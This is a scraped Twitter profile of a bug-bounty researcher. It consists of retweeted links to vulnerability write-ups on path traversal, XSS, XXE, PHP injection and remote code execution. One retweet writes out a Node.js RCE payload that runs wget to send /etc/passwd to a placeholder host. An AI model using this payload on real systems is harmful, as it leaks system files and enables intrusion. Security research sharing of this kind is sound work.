dim0k

@d1m0ck

Kikboxing, Coding, sHc0ding, dZen

hackerone.com/d1m0ck
Joined February 2012
0 Photos and videos Photos and videos

Tweets

You blocked @d1m0ck

Are you sure you want to view these Tweets? Viewing Tweets won't unblock @d1m0ck

  1. Retweeted
    Jun 2

    New post: Arbitrary File Reading in Next.js < 2.4.1

    1 reply . 39 retweets 47 likes
  2. Retweeted
    Apr 20

    I think this is now the only public way to XSS text/plain responses via content-sniffing in a fully patched browser:

    3 replies . 71 retweets 119 likes
  3. Retweeted
    Mar 23

    AIX for Penetration Testers

    25 retweets 30 likes
  4. Retweeted
    Mar 9

    Really good research. TAL @ the tools opensourced, they might help you in Google apps bughunting-

    40 retweets 56 likes
  5. Retweeted
    Jan 31

    12k$ for simple path traversal on . Thanks .

    32 replies . 451 retweets 661 likes
  6. Retweeted
    Jan 31

    Just-enter-the-space attacks //Translated by

    2 replies . 27 retweets 25 likes
  7. Retweeted
    Jan 25

    XXE in Uber: 0day in backup application

    3 replies . 117 retweets 163 likes
  8. Retweeted
    Jan 17

    remote code execution

    27 replies . 281 retweets 340 likes
  9. Retweeted
    Jan 13

    IDOR on site used cars, stealing a database 25,000 users on russian

    4 retweets 6 likes
  10. Retweeted
    28 Dec 2016

    o_O hehe surprised

    3 replies . 25 retweets 54 likes
  11. Retweeted
    29 Dec 2016

    Retrospective about Joomla fall and winter bugs —

    4 retweets 6 likes
  12. Retweeted
    30 Dec 2016

    PHP .htaccess Injection Cheat Sheet by

    3 replies . 229 retweets 392 likes
  13. Retweeted
    14 Dec 2016

    Remote code execution via TWIG

    13 retweets 29 likes
  14. Retweeted
    8 Nov 2016

    Interesting article on PHP backdoors

    19 retweets 23 likes
  15. Retweeted
    16 Oct 2016

    Command Injection without spaces

    16 retweets 33 likes
  16. Retweeted
    21 Aug 2016

    RCE: Race to Code Execution - Finally wrote up details of the Drupal Coder RCE I found! CC

    1 reply . 74 retweets 117 likes
  17. Retweeted
    19 Aug 2016

    Node.js RCE Payload require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST') via

    5 replies . 220 retweets 338 likes
  18. Retweeted
    19 Aug 2016

    5 retweets 9 likes
  19. Retweeted
    19 Aug 2016

    [PayPal Bug Bounty] Node.js code injection vulnerability

    12 replies . 361 retweets 406 likes
  20. Retweeted
    22 Jul 2016

    6 retweets 5 likes

@d1m0ck hasn't Tweeted yet.

Loading seems to be taking a while.

Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.

    You may also like

    ·